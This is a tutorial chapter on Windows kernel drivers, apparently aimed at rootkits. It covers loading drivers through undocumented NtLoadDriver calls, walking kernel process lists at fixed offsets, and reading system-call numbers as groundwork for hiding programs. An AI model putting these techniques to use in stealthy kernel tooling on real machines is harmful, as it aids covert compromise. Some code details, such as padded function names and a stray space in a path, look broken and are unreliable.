Device
Driver - Hiding Programs Part2
|
Cont……
Now
lets get back to the basics. The code that we have been writing so far has only
one problem. We have to reboot our machine each time. Would it not be great if
we could write a program that will load and unload our device driver each time.
This is save us time from waiting for Windows to reboot and this believe us
takes much longer than it should.
We
have created a sub-directory driverm1 and placed all our code from now on
there. We will create three batch files and two c files as follows.
a.bat
cd
\
cd
winddk\2600.1106\bin
call
setenv c:\winddk\2600.1106
cd
\driverm1
We
run this batch file only once as we need to set the environmental variables but
if we run it twice no error occurs. The header files of the ddk need certain
environmental variables to be set or else we cannot compile even the smallest
application. We mentioned it earlier that the setenv batch file sets a trillion
such variables and needs to know where we have installed the ddk on our
machine. We have installed it in the default location.
b.bat
call a.bat
del r.obj
del vijay.sys
cl
-Ic:\winddk\2600.1106\inc\ddk\wxp -Ic:\winddk\2600.1106\inc\crt -D_X86_=1 /c
/Gz r.c
link
-subsystem:native,5.01 -entry:DriverEntry@8 -out:vijay.sys r.obj c:\winddk\2600.1106\lib\wxp\i386\ntoskrnl.lib
c:\winddk\2600.1106\lib\wxp\i386\libc.lib c:\winddk\2600.1106\lib\wxp\i386\oldnames.lib
c:\winddk\2600.1106\lib\wxp\i386\hal.lib
The file b.bat is used to build the
driver. We first call a.bat and then delete the driver obj file r.obj and the
driver Vijay.sys. We call the compiler and linker like before, the only
difference being as we move on we will use the –I option to set more include
directories. For some reason the header files are present in dozens of directories.
In the same way we will also add some more lib files for the linker to search
for code.
The
code that we write will be in r.c.
r.c
#include
<ntddk.h>
UNICODE_STRING
gDeviceName,gSymbolicLinkName;
PDEVICE_OBJECT
gpDeviceObject;
#define
DRV_NAME L"vijayd"
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
PIO_STACK_LOCATION
esp;
esp
= IoGetCurrentIrpStackLocation(pIrp);
if
(esp->MajorFunction == IRP_MJ_CREATE)
DbgPrint("IRP_MJ_CREATE\n");
if
(esp->MajorFunction == IRP_MJ_DEVICE_CONTROL)
DbgPrint("IRP_MJ_DEVICE_CONTROL\n");
pIrp->IoStatus.Status
= STATUS_SUCCESS;
pIrp->IoStatus.Information
= 0;
IoCompleteRequest(pIrp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload (PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading...\n");
IoDeleteSymbolicLink(&gSymbolicLinkName);
IoDeleteDevice(gpDeviceObject);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);
RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
= DriverDispatcher;
IoCreateDevice(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);
IoCreateSymbolicLink(&gSymbolicLinkName,
&gDeviceName);
DbgPrint("Vijay
11");
return(STATUS_SUCCESS);
}
There
is nothing new about our driver code and this will be used as our base.
Sometimes we will only have code in the DriverEntry function, sometimes in the
DriverDispatcher function as we will be passing parameters to our driver from
userland.
The
name of the device created by our driver is vijayd. Each time our driver is
unloaded, which we will see how to do, the DriverUnload member decides which
function gets called. In our case function DriverUnload get called. Here we
simply delete the device and symbolic link that we have created.
z.bat
cl
y.c advapi32.lib
Smallest
batch file, all that we do is pass the lib file advapi32.lib.
y.c
#include
<windows.h>
#include
<process.h>
SC_HANDLE
m,s;HANDLE g;long b;
#define
DRV_NAME "vijayd"
#define
DRV_FILENAME "vijay.sys"
#define
DIRECTORY "C:\\driverm1"
int
main(int argc, char* argv[])
{
if(argv[1][1]
== 'i')
{
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,DIRECTORY"\\"DRV_FILENAME,0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s,
0, 0);
g=CreateFile("\\\\.\\"DRV_NAME,GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
DeviceIoControl(g,3
<< 2,(void *) 0,0,0,0,&b,0);
}
if(argv[1][1]=='u')
{
SERVICE_STATUS
ss;
SC_HANDLE
sh;
SC_HANDLE
rh;
sh
= OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
rh
= OpenService(sh,"vijay",SERVICE_ALL_ACCESS);
ControlService
(rh, SERVICE_CONTROL_STOP , &ss);
DeleteService(rh);
}
}
In
the function main we check whether the user has type I or u as the second
character of argv[1]. If it is I, the we install the program as before. We will
explain later why we right shift the number 2 or control code passed. The name
of the driver, its location and physical file name are stored as hash defines
so that we can change it at one place. The service name is however vijay and
will remain so.
When
we uninstall the driver, we first open the SC manager and then the service
vijay. We then use the function ControlService to send the command
SERVICE_CONTROL_STOP to the service. Rh is the handle to the service vijay. Now
that we have stopped the service, the function DeleteService will actually
remove all the registry entries and unload the driver for us.
To
test things out, we first run the Debug Viewer from sys internals. Running y –I
installs the driver and displays three lines for us telling us what all got
called. Then running y –u calls function DriverUnload in the driver for us. We
make a change in one the DbgPrint and then b.bat and once again y –I and y –u.
This show us the new change made in the Debug Viewer. This only proves that the
new driver code got called.
y.c
#include
<stdio.h>
#include
<windows.h>
#include
<malloc.h>
#include
<tlhelp32.h>
#include
<stdio.h>
#define
DRV_NAME "vijayd"
#define
DRV_FILENAME "vijay.sys"
#define
DIRECTORY "C:\\driverm"
typedef
struct
{
unsigned short Length;
unsigned short MaximumLength;
char
* Buffer;
}
ANSI_STRING, *PANSI_STRING;
typedef
struct
{
unsigned short Length;
unsigned short MaximumLength;
unsigned short *Buffer;
}
UNICODE_STRING, *PUNICODE_STRING;
long
(_stdcall * _RtlAnsiStringToUnicodeString)(PUNICODE_STRING DestinationString,PANSI_STRING SourceString,unsigned char);
VOID
(_stdcall *_RtlInitAnsiString)(PANSI_STRING
DestinationString,char *
SourceString);
long
(_stdcall *_ZwLoadDriver)(PUNICODE_STRING DriverServiceName);
long
(_stdcall * _ZwUnloadDriver)(PUNICODE_STRING DriverServiceName);
ANSI_STRING
aStr;
UNICODE_STRING
uStr;
HMODULE
hntdll;
unsigned
long byteRet;
HANDLE
hDevice;
HKEY
hkey;
DWORD
val;
char
*imgName = "System32\\DRIVERS\\"DRV_FILENAME;
void
main(int argc, char* argv[])
{
hntdll
= GetModuleHandle("ntdll.dll");
_ZwLoadDriver
= GetProcAddress(hntdll, "NtLoadDriver");
_ZwUnloadDriver
= GetProcAddress(hntdll, "NtUnloadDriver");
_RtlAnsiStringToUnicodeString
= GetProcAddress(hntdll, " RtlAnsiStringToUnicodeString ");
_RtlInitAnsiString
= GetProcAddress(hntdll, " RtlInitAnsiString ");
if
( strcmp(argv[1],"-i") == 0)
{
CopyFile(DIRECTORY"\\"DRV_FILENAME,"
C:\\winnt\\system32\\drivers \\"DRV_FILENAME,1);
RegCreateKey
(HKEY_LOCAL_MACHINE,"System\\CurrentControlSet\\Services\\
"DRV_NAME,&hkey);
val
= 1;
RegSetValueEx
(hkey, "Type", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
RegSetValueEx(hkey,
"ErrorControl", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
val
= 3;
RegSetValueEx(hkey,
"Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));
_RtlInitAnsiString(&aStr,"
\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);
_RtlAnsiStringToUnicodeString
(&uStr, &aStr, TRUE);
_
ZwLoadDriver (&uStr);
hDevice
= CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
NULL);
DeviceIoControl(hDevice,
2, 0, 0, 0, 0, &byteRet, 0);
}
if
( strcmp(argv[1],"-u") == 0)
{
_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);
_RtlAnsiStringToUnicodeString(&uStr,
&aStr, TRUE);
_ZwUnloadDriver(&uStr);
DeleteFile("C:\\winnt\\system32\\drivers\\"DRV_FILENAME);
RegDeleteKey(HKEY_LOCAL_MACHINE,
"System\\CurrentControlSet\\Services\\"DRV_NAME"\\Enum");
RegDeleteKey(HKEY_LOCAL_MACHINE,
"System\\CurrentControlSet\\Services\\"DRV_NAME);
}
}
r.c
#include
<ntddk.h>
UNICODE_STRING
gDeviceName,gSymbolicLinkName;
PDEVICE_OBJECT
gpDeviceObject;
#define
DRV_NAME L"vijayd"
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
PIO_STACK_LOCATION
esp;
esp
= IoGetCurrentIrpStackLocation(pIrp);
DbgPrint("DriverDispatcher
=%x",pDeviceObject);
if
(esp->MajorFunction == IRP_MJ_CREATE)
DbgPrint("IRP_MJ_CREATE\n");
if
(esp->MajorFunction == IRP_MJ_DEVICE_CONTROL)
DbgPrint("IRP_MJ_DEVICE_CONTROL\n");
pIrp->IoStatus.Status
= STATUS_SUCCESS;
pIrp->IoStatus.Information
= 0;
IoCompleteRequest(pIrp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading
=%x",DriverObject);
IoDeleteSymbolicLink(&gSymbolicLinkName);
IoDeleteDevice(gpDeviceObject);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);
RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
= DriverDispatcher;
IoCreateDevice
(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);
IoCreateSymbolicLink(&gSymbolicLinkName,
&gDeviceName);
DbgPrint("Vijay
9 =%x gpDeviceObject=%x",driverObject,gpDeviceObject);
return(STATUS_SUCCESS);
}
Vijay
8 =817045b0 gpDeviceObject=816fd910
DriverDispatcher
=816fd910
IRP_MJ_CREATE
DriverDispatcher
=816fd910
IRP_MJ_DEVICE_CONTROL
Unloading
=817045b0
In
the next example, we keep all the other files the same, but make a major change
in the file y.c. The only problem with loading a device driver was that the
functions used all very well documented by windows. Thus we thought lets load
our device driver in memory by using functions that are not documented.
We
went to a site in Singapore called www.security.org.sg/code.
Here we downloaded a project kProcCheck that shows us how to load a device
driver using undocumented functions. The point we are making is that the art of
writing toolkits is not American and throughout the book we will be showcasing
ideas that we have learned from all over the world. The best site however is
American called www.rootkit.com and it owner Greg
Hoglund is the undisputed father of writing toolkits.
To
say thank you to him, we bought his book and advise you to also. Back to work.
The variable names used keep changing as we normally use the same variable
names that the program we learnt from does.
In
the world of programming device drivers all code that we use comes from ntdll.
The last time we used this dll we used function LoadLibrary to load it in
memory. This is one dll that is always present in memory as windows
automatically loads this and kernel32.dll in memory at startup. This we use the
function GetModuleHandle to gives us a handle or a number that tells us where
this dll starts in memory.
We
would like to call four functions from this dll, NtLoadDriver and
NtUnloadDriver which are undocumented and do what the name suggests. The
RtlAnsiStringToUnicodeString does what the name says, converts a Ansi or ASCII
string to Unicode and RtlInitAnsiString that initializes a ANSI string like RtlInitUnicodeString
does.
The
only difference between the ANSI_STRING and UNICODE_STRING structures is that
the pointer to unsigned short is replaced by a pointer to char. No other
difference as the two length members have the same purpose. We also create variables
like _ZwLoadDriver, which would store the address of the corresponding function
and as these are all stdcall functions, the callee and not the caller restores
the stack.
We
first check using the strcmp function whether the user has type –I to install or –u to uninstall. To install
the driver we first use the copy file function where we first specify the
source file name and copy this file to the destination, the second parameter.
We use macros to get the final names and copy the device driver file vijay.sys
in our case to the C:\\winnt\\system32\\drivers. This is where windows expects
all our device drivers to be.
Each
time windows load our device driver in memory the second parameter to the
DriverEntry function is the registry path that the driver should use. We thus
use the function RegCreateKey to create a registry key
System\\CurrentControlSet\\Services\\vijayd off the main hive
HKEY_LOCAL_MACHINE.
The
last parameter of the function RegCreateKey gives us a HKEY that we use for
further registry access. We create four sub keys, the first being Type and set
it to 1. The RegSetValueEx takes 6 parameters, the first the key, the second
the name of the sub-key, the second last the address of a variable that
contains the value and the last parameter the size of data to be written.
We
then set the ErrorControl value also to 1. The Start value is set to 3 and
ImagePath to the full path name of the driver file i.e C:\winnt\system32\drivers\vijay.sys. These registry entries
are created by the service manager functions. We then create a ANSI_STRING and
set it to a value equal to the first registry key that we have created \\Registry\\Machine\\System\\CurrentControlSet\\Services\\vijayd.
We
then create a UNICODE_STRING from this ansi string using the function
RtlAnsiStringToUnicodeString. We directly could have used the function
RtlInitUnicodeString as we have been using in the past, but the code we saw did
it in a indirect way and so do we. Use whichever method you like.
We
then use the ZwLoadDriver function to load the driver passing it the registry
key stored in the variable uStr. Thus someone found out that the service
functions first create the registry entries and the call the function
ZwLoadDriver passing it the starting registry key that has a specified format.
We then use functions CreateFile and DeviceIoControl to communicate with our
device driver.
That
install the driver and it is faster than using the service manager functions.
The uninstall part simply uses function ZwUnloadDriver passing it the
UNICODE_STRING structure with the same registry name. We then delete the file
vijay.sys that we copied into the driver directory. We also delete the main
registry key created and a Enum key that we did not create using the function
RegDeleteKey.
This
calls the function DriverUnload in our driver. In the driver file r.c we have added
some code to further explain some concepts.
The
DriverObject function is passed a pointer to the DRIVER_OBJECT structure that
represents our driver. In our case the value is 817045b0. This same pointer is
passed to the DriverUnload function. We create a device vijayd using the
function IoCreateDevice. This gives us DEVICE_OBJECT pointer that starts at
816fd910. Each time our driver dispatch function is called we are passed this
object which represents our device. Thus we are working with two objects DRIVER_OBJECT
and DEVICE_OBJECT during the life cycle of our driver.
y.c
long
b,howmany;int arr[2];
hDevice
= CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
NULL);
howmany
= 12;
DeviceIoControl(hDevice,3
<< 2,(void *)&howmany,4,&arr,8,&b,0);
printf("b=%d
return is %d %d\n",b,arr[0],arr[1]);
r.c
#include
<ntddk.h>
UNICODE_STRING
gDeviceName,gSymbolicLinkName;
PDEVICE_OBJECT
gpDeviceObject;
#define
DRV_NAME L"vijayd"
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION
irpStack;
irpStack
= IoGetCurrentIrpStackLocation (Irp);
if
(irpStack->MajorFunction == IRP_MJ_CREATE)
DbgPrint("IRP_MJ_CREATE\n");
if
(irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
long
*inputBuffer;
int
inputBufferLength,outputBufferLength,ioControlCode,ans,io1;
int
*outputBuffer;
inputBuffer
= Irp->AssociatedIrp.SystemBuffer;
inputBufferLength
= irpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBuffer
= Irp->AssociatedIrp.SystemBuffer;
outputBufferLength
= irpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode
= irpStack->Parameters.DeviceIoControl.IoControlCode;
DbgPrint("inputBuffer=%x
outputBuffer=%x inputBufferLength=%d outputBufferLength=%d ioControlCode
=%d",inputBuffer,outputBuffer,inputBufferLength,outputBufferLength,
ioControlCode);
io1
= ioControlCode &0x1ffc;
io1
= io1 >> 2;
DbgPrint("ioControlCode=%08x
io1=%d",ioControlCode,io1);
ans
= *inputBuffer;
DbgPrint("ans=%d",ans);
*outputBuffer=10;
*(outputBuffer+1)=20;
Irp->IoStatus.Information=8;
}
Irp->IoStatus.Status
= STATUS_SUCCESS;
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
Before
we move back to working with processes, lets write a program that will transfer
data back to our user mode program from a device driver. So far we have send
values from ring 3 to our device driver, now lets send data from the device
driver to our user program. The second parameter to our function
DeviceIoControl is not one large
monolithic value, but made up of individual fields. The entire 32 bits is
divided into 6 fields. The first two bits is called the transfer type. Thus we
are allowed any of four values given below.
#define
METHOD_BUFFERED 0
#define
METHOD_IN_DIRECT 1
#define
METHOD_OUT_DIRECT 2
#define
METHOD_NEITHER 3
There
are three major ways to transfer data to and fro from ring 0 to ring 3. For small
amounts of data we use the first method, Buffered IO. The OS created a non
paged buffer which is the same size as the buffer we the application specify.
When we send the data to the driver, the I/O manager copies the data into
memory that the driver will be passed a handle to. The driver can this read
this memory to fetch its contents. When the driver wants to send data to a ring
3 program, it copies the data into a buffer, which is then copied into memory
specified by the ring 3 program before the DeviceIoControl function finishes.
This is the method most drivers use.
Whenever
we want to transfer large amounts of data quickly we use the second
method, Direct I/O. This uses DMA or PIO for the transfer. The OS locks the
applications buffer in memory. It then uses a entity called a memory descriptor
list MDL that we will show you later to allow us to handle these pages. We have
two hash defines for this method.
The
last is neither of the above two where the OS passes only the application i.e
input and output buffers virtual addresses and size. Thus the IO manager does
not supply system buffers or MDLs nor does it validate or map the memory. This
buffer is only accessible by drivers that are executing in the applications
thread context that started the IO request. This condition can only be met by
the highest level kernel mode driver and thus not normally used at all.
The
next 11 bits are called the function code and values less than 0x800 are
reserved by Microsoft. This value specifies what the driver should do with the
request. There would be a series of if statements in the driver where we do
different things dependent upon the value here.
We
then have one more bit called the custom bit, which is left for us to use. The
next two bits are called required access. The driver will create a device which
we will open using the CreateFile function. Here we have to specify an access
field so that the system can figure out whether we have the right access.
Normally we use FILE_ANY_ACCESS and the other values are as shown below.
#define
FILE_ANY_ACCESS 0
#define
FILE_SPECIAL_ACCESS (FILE_ANY_ACCESS)
#define
FILE_READ_ACCESS ( 0x0001
) // file & pipe
#define
FILE_WRITE_ACCESS ( 0x0002
) // file & pipe
The
next 15 bits are the device type and the last bit is the common bit. As before
values less than 0x800 are reserved for Microsoft and the rest we can use. This
number identifies the device type and the value of 2 specifies a CD_ROM. The
value FILE_DEVICE_UNKNOWN is 0x22 which specifies an unknown device. If our
device driver does not fall in a certain device type, either we use the above
or a value larger than 32768. The guys at Microsoft have given us a macro to
make our job easier.
#define
CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access)
<< 14) | ((Function) << 2) | (Method) \
)
We
use this macro CTL_CODE and give it the Device type, function code, the manner
of transferring data and finally the access method. This macro does the
shifting of bits for us. We also have macros like
#define
DEVICE_TYPE_FROM_CTL_CODE(ctrlCode)
(((ULONG)(ctrlCode & 0xffff0000)) >> 16)
which
pick up a device type form a control code. The actual value of the control code
goes over, we have to extract the individual fields. In the program y.c we want
to send a function code of 3 and keep
all the other fields at 0. We thus left shift the number 3 by 2. We pass a
value of 12 and want two numbers back in our array b, whose address we pass and
the second last parameter is the size of the array 8.
Vijay
6
IRP_MJ_CREATE
inputBuffer=81b2fa88
outputBuffer=81b2fa88 inputBufferLength=4 outputBufferLength=8 ioControlCode=12
ioControlCode=0000000c
io1=3
ans=12
Unloading...
In
the r.c program we use the member SystemBuffer which contains the address of
the buffer in which we have to read and write. The read and write buffers are
the same. We first read the values passed to us and then write the new values
we want to send across. We use the irpStack
pointer to give us the size of the input and output buffer. Thus the input
buffer length is 4 and the output buffer length is 8. The IO control code value
is 12 as we have shifted 3 two to the right the net result is that we have multiplied
it by 4.
We
then use the mask 0x1ffc which we bit wise and with the control code to give us
the function code. We then right shift this value by 2. We fetch the input
values like before, but the values we pass back we now write into the
outputBuffer pointer. We write 10 and 20 and thus the values of the two members
of the array passed are 10 and 20.
The
Information member we now set to the number of bytes we have actually written.
As we have written 8 bytes, we set this member to 8. If we set to it 4 as
below,
Irp->IoStatus.Information=8;
Then
even though we have written 8 bytes of the array, the system thinks we have
written only 4, and the first member of the array gets set not the second. The
output now shows as.
b=4
return is 10 0
instead
of
b=4
return is 10 20
Now
lets write out a program that will display all the programs that are running on
our machine. Wait a minute, we already wrote such a program down in the past.
The only problem with that the output of that program was displayed using
DbgPrint and not by our ring 3 programs.
y.c
long
b,howmany;char arr[10000];int i;
hDevice
= CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
NULL);
DeviceIoControl
(hDevice,3 << 2,0,0,&arr,10000,&b,0);
for(
i = 0; i < b ; i++)
printf("%c",arr[i]);
In
our y.c program, we simply create a array 10000 large and pass the address of
this array and its size to the function DeviceIoControl. The second last parameter
b simply gives us the length of the output written by the driver. We then use a
for loop to write out the array. This gives us a huge output of all the
programs running on our machine. We are not passing any parameters to our
driver.
r.c
#include
<ntddk.h>
#include
<stdio.h>
UNICODE_STRING
gDeviceName,gSymbolicLinkName;
PDEVICE_OBJECT
gpDeviceObject;
#define
DRV_NAME L"vijayd"
struct
process
{
char
a[156];
long
pid;
LIST_ENTRY
*Flink,*Blink;
};
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION
irpStack;
irpStack
= IoGetCurrentIrpStackLocation (Irp);
if
(irpStack->MajorFunction == IRP_MJ_CREATE)
DbgPrint("IRP_MJ_CREATE\n");
if
(irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
int
startpid,len,totallen,outputBufferLength;
struct
process *proc;
char
*outputBuffer;
char
aa[100];
outputBuffer
= Irp->AssociatedIrp.SystemBuffer;
proc=
(struct process *)PsGetCurrentProcess();
startpid
= proc->pid;
totallen=0;
outputBufferLength
= irpStack->Parameters.DeviceIoControl.OutputBufferLength;
DbgPrint("outputBufferLength=%d",outputBufferLength);
*outputBuffer
= 0;
while
(1)
{
sprintf(aa,"%s:%d\n",(char
*)proc+508,proc->pid);
len
= strlen(aa);
totallen
= totallen + len;
//DbgPrint("%s
%d %d",aa,len,totallen);
strcat(outputBuffer,aa);
proc
= (struct process *)( (char *)proc->Flink - 160);
if
( startpid == proc->pid)
break;
}
Irp->IoStatus.Information=totallen;
}
Irp->IoStatus.Status
= STATUS_SUCCESS;
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
We
use the same code that we used earlier to display all the programs running by
traversing the link list in the while loop. We first use the sprintf function
to write out the name of the program and its pid. We are assuming that the name
of the program begins 508 bytes form the start.
In
the next program we will explain how we get this magic number. We then find out
the length of the string in the array aa using the strlen function. We also
need a variable totallen to keep track off the number of bytes we plan to send
across. We then use the function strcat to copy the current string in the array
aa to the outputBuffer.
At
the start of the while loop we null terminate the array. When we leave the
while loop we set the Information member to totallen, the number of bytes we
have written in the buffer. In future we will display everything in ring 0, as
an exercise you can display it in ring 3.
r.c
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char
*p;int i=0;
RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);
RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
= DriverDispatcher;
IoCreateDevice
(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);
IoCreateSymbolicLink(&gSymbolicLinkName,
&gDeviceName);
DbgPrint("Vijay
9 =%x gpDeviceObject=%x",driverObject,gpDeviceObject);
p=
(char *) PsGetCurrentProcess ();
for(i
= 0; i <4096 ; i++)
if
( strncmp(p+i,"System",6) == 0)
break;
DbgPrint("i=%d",i);
return(STATUS_SUCCESS);
}
i=508
When
the function DriverEntry gets called, the current process running is not our program
y.exe or any other program. It is the OS or the program System. The function
PsGetCurrentProcess returns a pointer to the EPROCESS structure which we store
in variable p.
We
next use a for loop for finding out where a string System or the name of the
current program starts from p. When we find this string, we break out of the
for loop. This value is 508 and therefore all process have the name beginning
from this offset.
P36
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSTATUS NTAPI
ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
NTSYSAPI NTSTATUS
NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery);
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char *p;
long no;
unsigned char first;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2");
p = (char
*)ZwQuerySystemInformation;
first = *p;
p = p + 1;
no = *(long *)p;
DbgPrint("first=%x
no=%d p=%x",first,no,p);
p = (char
*)ZwQueryDirectoryFile;
first = *p;
p = p + 1;
no = *(long *)p;
DbgPrint("first=%x
no=%d p=%x",first,no,p);
return(STATUS_SUCCESS);
}
first=b8
no=151 p=804011ab
first=b8
no=125 p=8040100b
We
have created a function prototype for the function ZwQuerySystemInformation but
have not specified the code for this function anywhere. The NTAPI stands for
_stdcall which does do things. One it changes the name of the function by
adding the @ sign and a number denoting the total space occupied by all the
parameters on the stack.
This
was explained earlier and unlike the C calling convention which is followed by
default, in _stdcall the calle i.e. the actual function restores the stack and
not the caller. If we mix up calling conventions, then the stack looses its
sanctity and anything can happen.
Normally if you are lucky, the machine simply hangs or if you are like us, the
code malfunctions in dumb ways and you wonder what is happening.
In
the DriverEntry function we set p to the name of the function
ZwQuerySystemInformation. The name of the function is a number that tells you
where the function starts or begins in memory. We then print out the first byte
which is B8 and then the next four. For the ZwQuerySystemInformation this value
is 151.
We
then try out the same antics with the function ZwQueryDirectoryFile, we specify
only the prototype and here also the first byte is B8 and the next four are
125. NTSYSAPI is a hash define for __declspec(dllimport). When we create a Dll
and we want others to use our functions or variables we use the keyword
__declspec(dllexport) which tells the linker to create the entities needed so
that others can access our functions or variables.
Thus
when we want to use the variables or functions exported by others we use the
__declspec(dllimport) keyword which is optional. But if you do not specify it,
then the value does not get set and we get the wrong answers. Thus it is
optional only in name. To be specific on our machine when we used the NTSYSAPI
both functions gave us a value starting with 80401. When we removed it, the
variable did not get initialized and gave us a value starting with eb7e. This
is obviously a random value in kernel space.
If
we do not use the NTAPI #define, all works well but you are sitting on a time
bomb waiting to explode. This bomb will explode the minute you call a function
and the stack will go haywire and here even god can not help you.
In
the b.bat file we use a lib file ntoskrnl.lib. This lib file stands in for ntoskrnl.exe
which is present in C:\winnt\system32 and is 1.7 MB large. This lib file has a
large number of exported variables and functions, of which two we have just
used. This is why we get no error as we have not created the code of the
functions, they are exported by the file ntoskrnl.exe.
The
function printf is exported by libc.lib or oldnames.lib. Remove the lib file
ntoskrnl.lib from the linker and see the error we get. In the same vein, the
calling convention _stdcall is also a must.
For
the ones who excel in writing shellcode, one assembler instruction that we use
a lot is to mov a value in the eax register.
Thus
if we want to mov a value 10 in the eax register we would write it as mov eax,
10. If you see the opcode of this instruction, it is b8 10 0 0 0. Thus the
first five bytes of any function beginning with Zw starts with the opcode B8. Thus every Zw function starts by moving
a value into the eax register. We have displayed the values used by two Zw
functions, try the others out at your own risk.
P37
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSYSAPI NTSTATUS
NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID
SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
NTSYSAPI NTSTATUS
NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery);
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
unsigned char *p;
int i;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2");
